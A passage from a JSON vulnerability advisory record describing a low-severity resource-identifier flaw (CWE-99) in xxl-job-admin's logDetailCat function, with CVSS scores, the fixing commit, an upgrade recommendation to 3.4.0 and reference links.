Impacted is the function logDetailCat of the file xxl-job-admin/src/main/java/com/xxl/job/admin/controller/biz/JobLogController.java of the component Execution Log Handler. The manipulation of the argument logId results in improper control of resource identifiers. The attack may be performed from remote. This attack is characterized by high complexity. The exploitability is considered difficult. The exploit has been released to the public and may be used for attacks. Upgrading to version 3.4.0 is recommended to address this issue. The patch is identified as d24e4ccd6073cc75305e1d3b9c29bc8db7437e7a. It is suggested to upgrade the affected component."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "baseScore": 2.6, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 4.9, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-99"}]}], "references": [{"url": "https://github.com/xuxueli/xxl-job/", "source": "[email protected]"}, {"url": "https://github.com/xuxueli/xxl-job/commit/d24e4ccd6073cc75305e1d3b9c29bc8db7437e7a", "source": "[email protected]"}, {"url": "https://github.com/xuxueli/xxl-job/issues/3936", "source": "[email protected]"}, {"url": "https://github.com/xuxueli/xxl-job/releases/tag/v3.4.0", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/803075", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359959", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359959/cti", "source": "[email protected]"}]}}
